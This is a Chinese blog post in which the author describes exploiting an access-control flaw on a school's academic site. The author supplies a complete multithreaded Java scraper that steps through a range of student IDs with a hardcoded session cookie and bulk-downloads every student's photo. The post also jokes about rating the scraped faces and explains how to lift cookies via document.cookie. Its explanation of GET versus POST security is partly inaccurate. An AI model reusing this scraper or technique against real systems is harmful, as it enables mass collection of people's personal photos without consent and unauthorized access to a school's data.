学校教务网的一个安全漏洞
创建时间:2019-08-05 10:42
字数:1k
阅读:
发现教务网的一个安全漏洞
在做一个人脸识别的项目时,需要获取学校教务网上的学生的照片,但是后来我无意中发现学校教务网上的一个安全漏洞,就是在得到自己图片的cookie之后,由于学校的http请求是get请求,并且由于cookie的权限会导致你在持有cookie的情况下可以访问学校任何一个有学号的同学的照片
http的get请求和post请求的区别 关于这一点,直接把百度的结果粘贴如下:
GET和POST是Http请求中最常用的两种请求方法:
首先介绍GET与POST的差异:
(1)GET请求资源数据,POST向服务器传递需要处理的数据
(2)GET传递数据大小不超过2kb,POST没有限制
(3)GET请求的参数会在Url上暴露显示,POST请求参数在Requestbody里,所以相对GET来说,POST安全性较高
(4)GET 请求的静态资源会被浏览器缓存,POST不会被缓存
(5)GET传递的数据类型是文本,POST是文本或者二进制
(6)GET请求被回退时是无害的,POST请求被回退是会被重新再执行一次GET和POST的使用场景:
(a)在传递一些机密信息时必须要使用POST (b)只是查询获取数据时可以用GET (c)POST请求速率会比GET慢,因为GET请求产生一个TCP数据包;POST请求产生两个TCP数据包
探究过程 由于get请求的参数会在url暴露显示,我们可以直接更改url上的参数,将学号更改为其他人的学号来获取其他人的照片信息,但是发现这样获取太慢了,就直接写个多线程批量下载照片
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 import java.io.BufferedInputStream; import java.io.ByteArrayOutputStream; import java.io.File; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; public class downimage { public static void downLoadFromUrl(String urlStr,String fileName,String savePath) throws IOException{ URL url = new URL(urlStr); HttpURLConnection conn = (HttpURLConnection)url.openConnection(); conn.setConnectTimeout(3*1000); System.setProperty("http.proxyHost", "localhost"); System.setProperty("http.proxyPort", "8888"); conn.setRequestProperty("User-Agent", "Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)"); conn.setRequestProperty("Cookie","semester.id=281; JSESSIONID=8F14338919CEA1334F7E4B558217782D; iPlanetDirectoryPro=vYeKkeVYfd97aWCGmR2lSA"); InputStream inputStream = conn.getInputStream(); byte[] getData = readInputStream(inputStream); File saveDir = new File(savePath); if(!saveDir.exists()){ saveDir.mkdir(); } File file = new File(saveDir+File.separator+fileName); FileOutputStream fos = new FileOutputStream(file); fos.write(getData); if(fos!=null){ fos.close(); } if(inputStream!=null){ inputStream.close(); } System.out.println("info:"+url+" download success"); } public static byte[] readInputStream(InputStream inputStream) throws IOException { byte[] buffer = new byte[1024]; int len = 0; ByteArrayOutputStream bos = new ByteArrayOutputStream(); while((len = inputStream.read(buffer)) != -1) { bos.write(buffer, 0, len); } bos.close(); return bos.toByteArray(); } public static void main(String[] args) throws InterruptedException { int z=起始学号; int y = 结束学号; for (int i=起始学号;i<=v结束学号;i++){ String filename=y+".jpg"; String x="网址"+z;//z是学号,由于是get请求 new Thread(new Runnable(){ @Override public void run() { // TODO Auto-generated method stub try{ downLoadFromUrl(x, filename,"C:/Users/asus/Desktop/pictures"); }catch (Exception e) { // TODO: handle exception } } }).start(); Thread.sleep(2000); z++; y++; } } }
线程休眠2s,之后直接将图片下载到桌面上的文件夹中,理论上你可以下载所有学生的照片,如果外带一个人脸识别接口判断颜值,就能找到校花了
成果 抓取成果:
ps:为保护隐私,给图片打码。
注意 源代码中cookie是需要你手动获取的,在浏览器中打开图片前f12打开浏览器开发者模式,找到含有sessionid的cookie手动填上去。如果觉得麻烦,这里提供一个思路:
先用账号密码登录官网,然后用document.cookie获取到cookie,然后包装请求头再次发送给服务器,前提是该cookie没有设置httponly。
最后 本篇博客原创仅供学习交流使用,如用作其他用途所承受的法律责任一概与作者无关。
转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 DAmarkday@163.com
文章标题: 学校教务网的一个安全漏洞
文章字数: 1k
本文作者: DAmarkday
发布时间: 2019-08-05, 10:42:33
最后更新: 2019-08-05, 13:26:36
原始链接: http://DAmarkday.com/2019/08/05/find-leak/
版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。